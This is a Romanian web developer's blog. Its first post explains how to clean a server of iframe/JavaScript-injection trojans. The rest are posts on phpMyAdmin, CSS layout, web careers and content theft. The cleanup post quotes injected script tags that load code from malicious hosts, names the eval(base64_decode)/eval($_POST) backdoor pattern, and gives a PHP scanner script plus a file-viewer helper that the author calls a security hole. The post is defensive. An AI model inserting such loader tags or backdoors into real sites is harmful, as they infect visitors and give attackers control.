Cum scapam de caii Trojan de pe server
Postat la 04 Jul 2010. 6 comentarii. Hai, spune si tu ceva! 
Well... trebuie sa incep articolul destul de pesimist: e foarte greu.
Pe un PC e mai usor pentru ca acolo are acces deplin antivirusul, dar pe server e mai greu pentru ca trebuie sa faci tu toata treaba (mai ales daca site-ul e mare).
1. Ce sunt troienii despre care vorbesc si, cum se manifesta?
Numele ar putea fi ceva de genul Trojan-Clicker.HTML.IFrame sau Trojan.Downloader sau altfel [sunt mai multe tipuri din pacate si sunt mai multe denumiri sub care ii vad antivirusii].
Actiunea lor este urmatoarea: se conecteaza la FTP (detecteaza actiunile Filezila si a altor clienti FTP) si scriu in fisierele de tip php, html, htm, js un cod care include un iframe sau un fisier javascript.
Exemplu din index.php
<script type="text/javascript" src="http://kollinsoy.skyefenton.com:8080/Raw_File.js"></script>
Exemplu din fisier javascript
document.write('<s'+'cript type="text/javascript" src="http://stupidserver.com/f.js"></scr'+'ipt>');
2. Cum te infectezi si cum te protejezi?
- Te poti infecta doar daca deschizi o pagina web care este infectata (care contine iframe sau fisier JS de tipul de mai sus) si, partea proasta e ca sunt putini antivirusi care te protejeaza.
- Te poti proteja instaland un antivirus bun. Experienta mea placuta a fost cu Karspersky (nu fac reclama, e pe bune) deci e o metoda buna de protectie si (imi doresc sa-l cumpar - mi-a dezinfectat fisiere si m-a si protejat in timpul accesarii). Am avut si antivirusi care nu au detectat nimic, dar nu vreau sa fac anti-reclama.
3. Cum scapam de ei pe server?
- In primul rand, se schimba parola de FTP (valabil pentru orice developer) si, nu te conectezi la FTP pana ce nu esti sigur ca esti "curat"
- Esti sigur ca esti curat dupa ce ti-ai scanat computerul cu Karspersky (eu am avut Pure si a fost perfect - se poate lua trial-version gratuit, pentru 30 de zile DAR trebuie dezinstalat orice antivirus existent pentru ca nu e indicat sa ai doi antivirusi pe acelasi sistem) sau alt antivirus bun si actualizat (daca doriti, ma puteti contacta, sa va zic antivirusii "prosti" - vectorialpx.net, formularul de jos).
- folosesti un instrument care gaseste codul cu probleme si stergi toate problemele modificand fisierele (exista TEXTCRAWLER - care este FREE).
Acum, acest ultim pas este ceva mai complex. Eu am facut un fisier PHP (cach.php) care trebuie pus pe server, pentru ca mi-a fost mai usor. El cauta prin fisierele si dosarele site-ului (de la nivelul la care este pus in sus) in fisierele PHP, HTML si JS si, poate face inlocuirea codului cu probleme. Il puteti vedea mai jos cum arata (sunt doua functii, dintre care una e recursiva, nu mare lucru).
4. Ce cautam si cum?
- Primul lucru cautat este eval(base64_decode . Este ceea ce ofera poarta de acces remote. Daca nu stergeti codurile de acest gen, nu ati facut nimic. Sub acel base64_decode se afla de obicei ceva de genul eval($_POST['ceva']) ceea ce ofera puterea suprema pentru PHP - de unde concluzia stupida: hacker-ii nu-s prosti! :)
Atentie! unele teme de Wordpress au in footer un cod care contine eval(base64_decode dar este pentru copyright (nu trebuie sters). Trebuie sters orice cod suspect, nu chiar orice cod (e indicat sa fiti programatori cu ceva experienta, pentru a nu sterge aiurea). Daca aveti dubii si aveti soft-uri web (cum ar fi phpBB, drupal etc etc) mai bine cautati pe Google sau in documentatie. Oricum, scriptul face si un backup al fisierului infectat, deci nu pierdeti informatia respectiva dar va fi greu sa redenumiti fiecare fisier si s-o luati de la capat.
5. Ce fisiere sunt infectate?
de obicei index.php si cam tot ce are 'index', 'main', 'config' apoi, cam toate fisierele javascript care sunt incluse in prima pagina - dar nu numai.
6. Cum facem inlocuirea?
- avem nevoie de un alt fiser PHP (get23123.php - un nume care nu poate fi intuit usor) care ne afiseaza contentul unui anumit fisier (plain text) de pe server. De ce? Pentru ca nu vom putea lua fisierele de pe server ca sa le vedem local, fiind blocat de antivirus. Atentie, dupa ce ati terminat toata treaba stergeti fisierul get23123.php pentru ca este o mare bresa de securitate.
<?php // get23123.php e simplu si arata cam asa
$c = file_get_contents('index.php');
echo htmlspecialchars($c, ENT_QUOTES);
// afiseaza contentul lui index.php (cu tot cu cod PHP)
Deci va trebui sa urcati pe server un astfel de fisier, pentru a vedea care este codul clar din anumite fisiere.
De exemplu, accesam get23123.php si vedem ca in fisierul file.js este codul
document.write('<s'+'cript type="text/javascript" src="http://iopap.upperdarby26.com/Hardware.js"></scr'+'ipt>');
incepem sa cautam dupa el (codul) si sa facem replace, accesand cach.php in care stabilim inlocuirea codului de mai sus.
Fisierul cach.php este asa:
<?php
set_time_limit(0);
error_reporting(E_ALL);
define('MAKETHEREPLACE', 0); // se face replace sau nu
define('STRING2REPLACE', 'eval(base64_decode'); // ce cauta
// aceasta constanta se defineste de fiecare data
// se poate face si un array si apoi un foreach in functie
// cu mai multe string-uri, dar e nevoie de mai multa atentie
define('DS', DIRECTORY_SEPARATOR);
$f = dirname(__FILE__).DS;
function h($w) { $w = stripslashes($w); // htmlspecialchars
return trim(htmlspecialchars($w, ENT_QUOTES)); }
function getDir($folder) {
if ($handle = opendir($folder)) {
while (false !== ($file = readdir($handle))) {
if(is_dir($folder.$file) && $file != '..' && $file != '.' ) {
getDir($folder.$file.DS);
} else {
$ext = end(explode('.', $file));
if($file != 'cach.php')
if($ext == 'js' || $ext == 'php' )
writeFile($folder, $file);
}
}
closedir($handle);
}
}
getDir($f); // aici se face apelarea
function writeFile($dir, $f) {
if(filesize($dir.$f) < 1024*500) { // nu cautam in fisiere mai mari de 500K
// $handle = fopen($dir.$f, 'r');
// $c = fread($handle, filesize($dir.$f)+1);
// fclose($handle);
// este recomandat file_get_contents
// pentru ca este mai rapid
$c = file_get_contents($dir.$f);
// extensie
$ext = end(explode('.', $f));
$este = strpos($c, STRING2REPLACE);
// daca exista codul in fisier
if($este !== false) {
if(MAKETHEREPLACE) {
copy($dir.$f, $dir.'infect_'.$f.'.unkn');
$fp = fopen($dir.$f, 'w');
if(fwrite($fp, trim(str_replace(STRING2REPLACE, '', $c))))
echo 'am scris <b style="color:#c00">'.$dir.$f.'</b><br /><br />';
fclose($fp);
} else {
echo 'trebuie scris - <b style="color:#c00">'.$dir.$f.'</b><br />
Contine: <br /><textarea name="some" cols="200" rows="9"
style="font:12px Verdana,Arial">'.h($c).'</textarea><br /> <br />';
}
}
} else {
echo '<strong style="color:#c00">prea mare</strong> '.$dir.$f.'<br /><br />';
}
}
// end of file
Am mai citit un articol despre asta - how to remove iframe trojan - dar pare un pic incomplet. Probabil ca si troienii au mai evoluat intre timp.
Sunt dispus sa raspund comentariilor si, daca aveti idei, ar fi bine sa fie publice. Spor la programat!
Edit: Am gasit o descriere la Karspersky pentru Trojan-Clicker
Deci nu, nu e chiar harmless.
Programs classified as Trojan-Clicker are designed to access Internet resources (usually web pages). This is done either by sending appropriate commands to the browser or by replacing system files that provide “standard” addresses for Internet resources (such as the Windows hosts file).
A malicious user may use Trojan-Clicker programs to:
- increase the number of visits to certain sites in order to boost the number of hits for online ads
- conduct a DoS (Denial of Service) attack on a particular server
- lead potential victims to viruses or Trojans.
Scuze pentru phpMyAdmin
Postat la 25 Jan 2010. Nu sunt comentarii. Hai, spune si tu ceva! 
Am postat acum o vreme un articol cum ca phpMyAdmin ar avea un bug. De fapt, eu sunt cel defect... m-am lovit acum de aceeasi problema, si m-am prins care e faza.
Si... care a fost faza: aveam de introdus in baza de date inregistrari dintr-un while. Am executat while-ul si apoi am inchis browser-ul. OK, m-am uitat in phpMyAdmin sa vad cum sunt inregistrarile din baza de date... am ramas uimit. Nu aveam idee de ce cand dau "Empty table" nu se intampla nimic, ba chiar se adauga inregistrari.
Raspuns: request-urile din while au fost trimise catre MySql si chiar daca browser-ul a fost inchis, se executau in continuare. Solutia: Trebuie oprit server-ul de MySql, cam atat.
Scuze inca o data!...
Tags: phpmyadmin, web, php, mysql
Care sunt inceputurile in cariera web
Postat la 05 Dec 2009. 6 comentarii. Hai, spune si tu ceva! 
Mie imi place sa zic lucrurilor pe nume: orice firma cauta un om care sa le faca pe toate, pe care sa-l plateasca cat mai putin. Orice manager isi doreste un web-developer in loc de un web-designer + un programator... pentru ca un developer nu va lua banii pe care-i iau cei doi la un loc si, prefera sa faca un mic compromis referitor la calitate. Asta se intampla de obicei... depinde de multe aspecte.
Acum, ca web-developer, ar trebui sa te apuci, in ordine de:
1. xHTML [iti recomand xHTML in loc de HTML]
Trebuie sa ai (x)HTML in orice pagina. Fara el, nu se poate face web. Diferenta dintre cele doua este ca xHTML ofera un plus de calitate (parerea mea!) si este bazat pe principiile XML si, este mult mai compatibil. Sunt multe avantaje, poti sa cauti pe google "xHTML vs HTML". E indicat ca inca de la inceput sa stii care sunt principiile de validare ale unui site si sa incerci o validare stricta.
2. CSS + Design
E foarte important ca un proiect sa fie si frumos, nu doar destept, util si functional. CSS este placut daca ajungi sa-i prinzi calitatile, mai ales daca te axezi pe (x)HTML tableless; toate elementele din pagina au multe surprize (si unele neplacute, ce-i drept, daca ne gandim la incompatiilitatea browserelor).
3. Programare + Baze de date
Abia dupa ce ai invatat (x)HTML poti sa te gandesti la chestii avansate. E indicat sa ai o baza de programare, facuta in liceu, invatata din carti, la facultate etc. pentru ca e foarte important modul de gandire. Cand faci un site nu folosesti divide-et-impera in mod direct dar ai in cap o anumita idee referitoare la "cum rezolv problema asta". Acum, sunt mai multe optiuni referitoare la limbaje... fie PHP cu Apache, fie FrontPage [nu recomand] fie .NET si prietenii de la Microsoft fie JSP si, mai sunt cateva optiuni. Eu am ales PHP pentru ca e frumos, usor si puternic, deci are destule calitati. Bazele de date vin odata cu programarea, din nevoie. E ceva care vine de la sine...
4. SEO
Cand realizezi un site iti dai seama ca el trebuie sa fie si cunoscut. De fapt, asta depinde de cum ai scris codul (x)HTML, de target-ul pe care-l are, de cuvintele cheie pe care le-ai folosit, de banii pe care esti dispus sa-i investesti in promovare si alte cateva. Search Engine Optimization este un mic sub-domeniu al web-ului dar pe care orice web-developer trebuie sa-l cunoasca cel putin la nivel basic.
5. Trucuri + Experienta
Parerea mea este ca acesta este cel mai mare pas pe care-l face oricine, in orice domeniu... momentul in care prinzi experienta si descoperi anumite trucuri. Sunt multe chestii care nu-s scrise in manual dar de care ai mare nevoie si, aici isi spune cuvantul experienta. Cu cat lucrezi mai mult cu atat ajungi sa descoperi mai multe lucruri, cu atat te perfectionezi mai mult. Nu se poate compara un programator care practica asta de 20 de ani cu unul care a iesit de pe bancile facultatii... desi poate cel cu experienta nu are atatea cunostinte teoretice.
Cel mai important pentru ceea ce am scris mai sus este sa-ti placa si, nu numai... sa ai o pasiune pentru asta. Sa simti ca esti dispus sa pierzi 2 nopti pentru a aranja un nenorocit de meniu care se vede stramb pe un alt browser si, sa ai puterea sa muncesti 2 zile sa-ti creezi propria clasa de baze de date pentru ca nu te multumeste nimic de pe web si, cand totul se termina sa te consideri mult mai puternic decat acum 2 zile... pentru ca ai realizat ceva. Cand simti ca ai o multumire si simti ca astea 2 zile nu au fost pierdute, inseamna ca esti pasionat.
Multa bafta!
Tags: web, developer, pasiune, experienta
New blog stuff
Postat la 19 May 2009. 6 comentarii. Hai, spune si tu ceva! 
Mda, mi-am refacut blog-ul ca ma plictisisem de el, asa negru si serios, acum am facut unul alb si urat. Si daca tot am picat la restanta mi-am zis ca ar fi bine sa fac si eu ceva util: sa urc noul blog pe server. Ce-i nou? Nu mare lucru...
- comentariile se adauga mai usor si mai frumos
- RSS pentru articole, comentarii si [nou] citate
- articole random [ca sa viziteze lumea si alte articole, nu doar prima pagina]
- maimuțoaie de la Yahoo! Messenger
- curatenie printre articole [am sters vro doua, ca erau stupide] desi mai am niste poze lipsa
- am adaugat tag-uri, dar inca nu am completat in baza de date... urmeaza!
- si cam atat...
De acum inainte
- o sa incerc sa scriu articole mai scurte, ca am inceput sa aberez in anumite momente
- o sa incerc sa nu-mi mai jignesc prietenii. Desi am facut-o involuntar, am facuto [dracu' stie cum se mai scrie corect!]
- o sa va trimit mail-uri, celor care doriti, cu noi articole si comentarii.
Cheers!
Tags: web, new, blog, articole, friends
phpMyAdmin bug :)
Postat la 02 May 2009. Nu sunt comentarii. Hai, spune si tu ceva! 
Eram la inceput cand am facut cunostinta cu celebra aplicatie si ma minunam cat de complexa poate sa fie. Din pacate inca ma mai minunez pentru ca lucrurile s-au complicat si mai mult iar versiunile au evoluat. E chiar impresionant cum o astfel de 'chestie' poate fi open-source pentru ca ma gandesc la mine, cat timp as pierde sa fac asa ceva si... sa o dau apoi moca tuturor idiotilor ca mine.
Din pacate nimic nu-i perfect si am descoperit un bug... sau, nu stiu, o problema care m-a facut sa zambesc. Nu am ras de cei ce au facut aplicatia la propriu, cu am zambit pentru ca m-am gandit ca "uite, vezi, si cei mari pot face greseli".
Despre ce e vorba? Nu m-am putut abtine sa nu fac printScreen-uri. Ce am facut eu de fapt?
Pasul 1: Vreau sa vad inregistrarile dintr-un tabel. In jur de 39 de pagini...

Pasul 2: Selectez comanda EMPTY din meniu: TRUNCATE TABLE? YES!

Pasul 3: "Table has been emptied"... OK!

Pasul 4: Click pe browse. Surpriza!! Am 225 de pagini in loc de 39

Pasul 5: Dau comanda de SQL:"DELETE FROM TABLE"... Adica, sterg tot!

Pasul 6: "Do you realy want to....?"... Yeah, OK!

Pasul 7: Browse din nou... acum sunt 98 de pagini :D

Am si inchis browser-ul si problema a ramas si am inceput sa ma enervez [nu stiu de unde e problema. Initial m-am gandit ca ar fi ceva de sesiune]... asa ca am sters din consola :) ceea ce nu-i chiar asa de rau.
Morala: Nimeni nu-i perfect! Sa aveti spor la programat!
Tags: web, phpmyadmin, php, bug, greseala
Cum scriem si optimizam un layout xHTML / CSS valid
Postat la 13 Apr 2009. Nu sunt comentarii. Hai, spune si tu ceva! 
Avem o pagina web unde am scris cod xHTML valid strict. Puteti da View Source, ca sa vedeti HTML-ul pentru ca e destul de lung si apare urat daca-l inşir aici.
Aceasta pagina are, dupa cum se vede [in tag-ul LINK], un fisier CSS [tot valid] atasat care arata cam asa:
body { margin:0; padding:0; font:12px Verdana, Arial, Helvetica, sans-serif; color:#999; background:#999 }
* { margin:0 }
acronym { cursor: help }
a { color:#039; }
a:hover { color:#06c; }
.main { width:900px; margin:0 auto }
.main #header { height:90px; margin:5px 0 0 0; background:#fff; }
.main #header p { color:#c30; font-size:32px; line-height:90px; padding:0 30px }
.main #menu { margin:5px 0; background:#ccc; width:100%; overflow:hidden }
.main #menu p { padding:5px 20px }
.main #menu p a { width:auto; float:left; padding:5px 10px; margin:0 3px 5px 3px; display:inline; }
.main #menu p a:hover { background:#333; color:#ccc }
.main #content { background:#f3f3f3; padding:10px 30px }
.main #content h1 { font-size:22px; font-weight:normal; color:#c00; padding:5px 0 }
.main #content h2 { font-size:17px; font-weight:normal; color:#c93; padding:20px 0 5px 0 }
.main #content p { padding:3px 0 }
.main #footer { padding:15px 20px; background:#fff; margin:5px 0 }
.main #footer p { font-size:10px; text-align:center; color:#ccc; line-height:20px }
Ei bine, o sa va impartasesc in continuare cateva chestii [nivel: incepator] referitoare la codurile CSS si xHTML scrise mai sus pe care eu mi-as fi dorit sa le aflu cand eram la inceput.
Referitor la xHTML
- Am respectat standardele impuse de DTD-ul strict [DTD-ul stabileste tipul documentului] si am pus elementele structurate arborescent, fara sa omit tag-uri, fara sa pun target="_blank" la link-uri si multe altele. Dar, asta nu-i mare lucru...
- Avem un DIV cu class="main", pentru ca elementul BODY este limitat la schimbarile facute de CSS.
- Am impartit sectiunile in DIV-uri cu id-uri pentru fiecare sectiune in parte, pentru a le adauga stiluri din CSS [header, menu, content, footer]. Sectiunile nu sunt un standard... eu am realizat o pagina simpla, pentru incepatori, dar paginile mari pot deveni foarte complexe.
- E bine sa se evite adaugarea de clase inutile sau DIV-uri inutile... cu cat scriem mai putin cod cu atat mai bine. Restul e CSS.
- Un DIV poate contine elemente de toate tipurile dar nu poate fi inclus in orice element... adica, un P nu poate contine un DIV dar un DIV poate contine H2, P si multe altele si, e indicat sa ne folosim de ele din plin, pentru a putea adauga stiluri diferite si la cod simplu.
- E indicat ca daca aveti cod JavaScript sa-l puneti in partea de jos a paginii iar codul CSS sa ramana in partea de sus. Codul JavaScript e indicat sa se afle intrun singur fisier, deoarece download-ul sau e ceva mai special. Exista trucuri pentru optimizare dar nu vreau sa deraiez...
Cam atat despre xHTML. E indicat ca pastram cod-ul curat si ordonat si, dupa cum ziceam, sa evitam elementele inutile.
Referitor la CSS
- In primul rand, elementul BODY va contine chestiuni generale referitoare la text [font, culoare etc] si, eu pun margin si padding pe 0 [zero]
- E indicat sa se foloseasca shorthand-urile ["font:12px Verdana", in loc de "font-size:12px; font-family:Verdana"] desi trebuie sa recunosc ca mai omit.
- Elementul [DIV-ul] cu class .main are width stabilit si margin: 0 auto, adica... marginea de sus si jos de 0 si in parti se va afla pe centrul vizibil... avand margin auto.
- Avem apoi elementele [header, menu, content si footer], fiecare cu stilurile proprii. Ceea ce vreau sa subliniez este dependenta si structura ierarhica, care face xHTML-ul mai simplu. In loc sa aplicam clasa pe H2 punem ".main #content h2" si browser-ul va sti ca e vorba de H2-ul din div-ul #content, din div-ul .main
- Tot codul CSS trebuie "potrivit" si vizualizat pe mai multe browsere, astfel incat sa fie identic pe oricare din ele. Problemele de compatibilitate se pot rezolva cu conditionale dar e indicat sa evitam acest lucru cat mai mult.
- E foarte bine sa ne folosim cat mai mult de culori si sa evitam incarcarea imaginilor de background. In cazul in care punem imagini de background e bine sa le punem cat mai mici si cat mai optimizate. Aceasta optimizare se refera la modul lor de repetare si la inlocuirea imaginilor mari cu texturi repetate pe X sau pe Y, dupa necesitati.
Ar mai fi multe de zis dar va las pe voi sa meditati si sa comentati exemplul dat de mine. Sa codati cu spor!
Ciordeles, sport national
Postat la 19 Mar 2009. 6 comentarii. Hai, spune si tu ceva! 
Pe web, si nu numai, se practica un furt nesimtit, fara nici un gram de jena... in special in Romania [tara "la toate" posibilitatile]. De exemplu, XDYNX ne explica pe phpromania.net/forum cum sa furam [sa "facem bani"] poze de pe Flickr si sa ni le punem in blog. Ma rog... chestia asta doar mi-a reamintit de multe faze create de ciorditori, care m-au decis sa scriu acest articol.
Se pare ca toti nufragiatii care si-au ratat cariera sau destinul se refugiaza in web. De ce? Pentru ca toata lumea stie sa dea View Source si copy / paste si toata lumea are impresia ca imediat ce ai aflat ce e aia o pagina web poti sa-ti faci sait' si sa faci bani. Toti acesti parveniti au zis "pas!" pentru o etapa esentiala: invatarea!! Tot respectul pentru cei ce vor sa faca o cariera in web! Multa bafta! Banii vin dupa ce inveti, nu in timp ce...
De ce ma enerveaza asta?! Eh... pai e simplu, pentru ca exista pe piata magazine virtuale de 1500 de lei [adica nici 300E] si nu mai exista concepte ca "unicitate" sau "calitate". Se vinde osCommerce pe banda rulanta [Cip, nu e vorba de tine!] fara sa se gandeasca cineva la conceptul "licenta" ==> preturile scad haotic iar eu, ca sa am clienti, trebuie sa muncesc pe capace de PEPSI contra "concurentei" ==> ma enervez!!!
Vorba lu' Puya [Teoria furaciunii] "ai nevasta buna, la nunta ti-o fura... asta e traditia". La noi s-a prins experienta in "domeniul" asta si inca se face cariera! daca mergi cu sacoşa in mana pe strada ti-o sufla fara sa simti. Te duci acasa si descarci toartele... "Laser frate!"
Scrisoare de intentie,
Draga domnule bulangiu, masinile parcate pe marginea drumului nu sunt gratuite... si nici ciocolata din vitrina sau ghiulul de aur... traiti-ar familia ta! asa ca te rog sa te apuci de munca.
Ah... mi-am amintit ca am mai auzit o noua injuratura in Rahova:
"du-te-n p... uscarie sa te duci!"